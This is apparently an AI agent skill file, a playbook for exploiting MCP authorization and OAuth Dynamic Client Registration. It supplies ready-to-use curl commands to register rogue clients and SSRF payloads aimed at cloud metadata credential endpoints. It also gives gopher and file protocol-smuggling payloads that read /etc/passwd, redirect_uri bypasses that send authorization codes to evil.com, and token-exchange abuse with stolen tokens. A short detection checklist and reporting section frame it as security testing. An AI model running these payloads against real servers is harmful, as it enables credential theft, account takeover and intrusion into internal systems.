---
name: mcp-auth-exploitation
description: Exploit MCP authorization flows — CIMD SSRF via client_manifest_uri/logo_uri/jwks_uri, Dynamic Client Registration abuse, token scope inflation in multi-agent chains, confused deputy attacks. Use when target exposes MCP authorization, OIDC Dynamic Client Registration (RFC 7591), or multi-agent token delegation.
---

# MCP Authorization & Dynamic Client Registration Exploitation

Covers two related attack surfaces: (1) MCP's Client Identity Metadata Documents (CIMD) architecture where authorization servers fetch attacker-controlled manifests, and (2) RFC 7591 Dynamic Client Registration (DCR) abuse on any OAuth/OIDC stack. Both share the same core primitive: the server makes outbound requests to attacker-specified URLs and trusts attacker-supplied metadata.

## When to Use

- `/.well-known/openid-configuration` exposes a `registration_endpoint`
- Target implements MCP authorization with `client_manifest_uri` support
- Multi-agent/tool architecture where tokens pass across service boundaries
- OAuth server accepts `client_metadata` or `client_metadata_uri` parameters
- Any OIDC provider with open or semi-open dynamic registration

## 1. Reconnaissance: Find Registration Surfaces

### OIDC Discovery

```bash
# Check for registration_endpoint in OIDC config
curl -s https://TARGET/.well-known/openid-configuration | jq '.registration_endpoint, .grant_types_supported, .token_endpoint'

# Also check OAuth-specific metadata
curl -s https://TARGET/.well-known/oauth-authorization-server | jq '.registration_endpoint'
```

If `registration_endpoint` exists, test it unauthenticated:

```bash
curl -X POST https://TARGET/openid/connect/register \
  -H "Content-Type: application/json" \
  -d '{
    "redirect_uris": ["https://ATTACKER.com/callback"],
    "client_name": "test",
    "grant_types": ["authorization_code", "client_credentials"],
    "response_types": ["code"]
  }'
```

**Checkpoint:** 201 with `client_id` + `client_secret` in response = open registration confirmed. Check `client_secret_expires_at` -- value of `0` means non-expiring secret. If 401/403, registration requires authentication.

### MCP CIMD Detection

MCP authorization servers may accept `client_manifest_uri` on the `/authorize` endpoint:

```
GET /authorize?response_type=code&client_manifest_uri=https://ATTACKER.com/client.json&redirect_uri=https://ATTACKER.com/callback
```

If the server fetches `client.json` from your domain, you have SSRF.

## 2. SSRF via Client Metadata Fetching

The authorization server makes outbound HTTP requests to fetch client metadata. Three injection points:

### Primary: client_manifest_uri

```bash
# Cloud metadata (AWS)
GET /authorize?client_manifest_uri=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Cloud metadata (GCP)
GET /authorize?client_manifest_uri=http://metadata.google.internal/computeMetadata/v1/

# Cloud metadata (Azure)
GET /authorize?client_manifest_uri=http://169.254.169.254/metadata/instance?api-version=2021-02-01

# Internal services
GET /authorize?client_manifest_uri=http://localhost:8080/admin/status
GET /authorize?client_manifest_uri=http://10.0.0.1:9200/_cluster/health
```

### Secondary: Fields Within Fetched Documents

If the server fetches your `client.json`, fields within it trigger additional requests:

```json
{
  "client_name": "legit-looking-app",
  "redirect_uris": ["https://legit.com/callback"],
  "logo_uri": "http://169.254.169.254/latest/meta-data/",
  "jwks_uri": "http://internal-service:8080/admin",
  "policy_uri": "http://10.0.0.1:6379/",
  "tos_uri": "http://localhost:9200/_cat/indices",
  "client_uri": "http://metadata.google.internal/computeMetadata/v1/project/attributes/"
}
```

`logo_uri` is fetched to display in consent screens. `jwks_uri` is fetched to validate client assertions. Both are common secondary SSRF vectors.

### Protocol Smuggling

If the HTTP client doesn't restrict protocols:

```json
{
  "jwks_uri": "gopher://internal-redis:6379/_SET%20pwned%20true%0D%0A",
  "logo_uri": "file:///etc/passwd",
  "client_uri": "dict://internal-memcached:11211/stats"
}
```

### Redirect-Based SSRF Amplification

Host a redirect chain on your server to bypass URL scheme validation:

```
client_manifest_uri=https://ATTACKER.com/redir
→ 302 Location: http://169.254.169.254/latest/meta-data/
```

Servers that validate the initial URL scheme (https only) but follow redirects to http:// are vulnerable. Test with 301, 302, 307, and 308 — behavior differs per HTTP client library.

### User-Agent Fingerprinting

Log the User-Agent on your callback server. The fetching library reveals the server's tech stack:

- `python-requests/2.x` → Python, likely aiohttp or requests
- `Go-http-client/2.0` → Go, net/http
- `axios/1.x` → Node.js
- `Java/17.x` → Java HttpClient

This informs which protocol smuggling and SSRF bypass techniques to prioritize.

## 3. Domain Validation Bypass in redirect_uris

Weak validation of `redirect_uris` allows authorization code theft:

### Substring/Contains Check

```json
{"redirect_uris": ["https://legit.example.com.evil.com/callback"]}
```

If validation uses `.contains("example.com")` or regex without anchors, the attacker domain passes.

### Path Traversal in Redirect

```json
{"redirect_uris": ["https://legit.example.com/callback/../../../evil.com/steal"]}
```

Some URL parsers normalize the path after validation.

### Fragment/Query Injection

```json
{"redirect_uris": ["https://legit.example.com/callback?next=https://evil.com"]}
```

If the server appends `?code=` to a redirect_uri that already has query params, the code may leak via the `next` parameter.

### Open Redirect Chain

Register with a legitimate redirect_uri that has an open redirect:

```json
{"redirect_uris": ["https://legit.example.com/login?returnTo=https://evil.com/steal"]}
```

The code arrives at the legitimate domain then gets forwarded to the attacker.

## 4. Grant Type Abuse After Registration

Once you have a registered client, test which grant types actually work:

```bash
# client_credentials — direct token issuance
curl -X POST https://TARGET/oauth/token \
  -d "grant_type=client_credentials&client_id=ATTACKER_CLIENT&client_secret=SECRET&scope=openid"

# device_code — social engineering vector
curl -X POST https://TARGET/oauth/device/code \
  -d "client_id=ATTACKER_CLIENT&scope=openid profile email"

# CIBA — backchannel auth targeting arbitrary users
curl -X POST https://TARGET/oauth/bc-authorize \
  -d "client_id=ATTACKER_CLIENT&client_secret=SECRET&scope=openid&login_hint=victim@target.com"

# token-exchange (RFC 8693) — escalate tokens
curl -X POST https://TARGET/oauth/token \
  -d "grant_type=urn:ietf:params:oauth:grant-type:token-exchange&subject_token=STOLEN_TOKEN&subject_token_type=urn:ietf:params:oauth:token-type:access_token&client_id=ATTACKER_CLIENT&client_secret=SECRET"
```

Check token `scope` and `aud` claims — tokens scoped to internal resources (e.g., `https://internal-api.local/*`) indicate the authorization server trusts dynamically registered clients at the same level as pre-registered ones.

## 5. Token Scope Inflation in Multi-Agent Chains (Confused Deputy)

MCP and multi-agent architectures often pass tokens downstream without scope reduction. The absence of RFC 8693 (Token Exchange) creates confused deputy vulnerabilities.

### The Problem

```
User Token (scope: read write admin) → Agent A → Agent B → Tool C (Weather API)
```

Tool C receives a token with `admin` scope when it only needs `weather.read`. If Tool C is compromised or malicious, it can use the over-scoped token.

### Testing Methodology

1. **Intercept agent-to-tool traffic** (proxy the MCP tool server)
2. **Inspect token scopes** at each delegation hop — are they reduced?
3. **Test token reuse** — can a token received by Tool C access resources meant for Agent A only?
4. **Check audience binding** — does the token's `aud` claim restrict which services can accept it?

```bash
# Intercept and decode the token passed to a tool
# If JWT, decode and check scope/aud
echo "TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.scope, .aud'

# Test cross-service token reuse
curl -H "Authorization: Bearer TOOL_C_TOKEN" https://target.com/api/admin/users
```

### What to Report

- Token passed to downstream tools with more scope than needed → scope inflation
- No `aud` restriction → token accepted by any service in the ecosystem
- No token exchange → original user token forwarded verbatim through chain
- Tool receives refresh token → persistent access beyond intended session

## 6. Detection Checklist

- [ ] `/.well-known/openid-configuration` exposes `registration_endpoint`
- [ ] Registration endpoint accessible without authentication
- [ ] `client_manifest_uri` accepted on `/authorize` (triggers outbound fetch)
- [ ] `logo_uri`, `jwks_uri`, `client_uri` in client metadata trigger server-side fetches
- [ ] `redirect_uris` validated by substring/contains rather than strict parse
- [ ] `client_credentials` grant type accepted for dynamically registered clients
- [ ] `device_code` or CIBA grant types available (social engineering vectors)
- [ ] Tokens issued to registered clients scoped to internal resources
- [ ] `client_secret_expires_at: 0` (non-expiring secrets)
- [ ] Multi-agent token delegation without scope reduction (RFC 8693 absent)
- [ ] OTK/gateway OpenAPI spec exposed at `/apidocs/` or `/swagger/`

## Chain With

- ssrf-ip-filter-bypass (encoding bypasses when SSRF target filters IPs)
- ssrf-redirect-loop (upgrade blind SSRF from logo_uri/jwks_uri fetches)
- oauth-flow-hijack (steal authorization codes after registering rogue client)
- auth-matrix-testing (test token scope boundaries across services)
- 403-bypass (access registration endpoint behind WAF/proxy restrictions)

## Reference

- RFC 7591: OAuth 2.0 Dynamic Client Registration Protocol
- RFC 8693: OAuth 2.0 Token Exchange
- MCP Authorization Specification (CIMD threat model)
- https://blog.criticalthinkingpodcast.io/p/hackernotes-ep-169-oauth-2-1-mcp-authorization-security (synthesis article)
- ASN Bank DCR report (Bounties/asnbank/) — real-world DCR exploitation on Broadcom Layer7 OTK
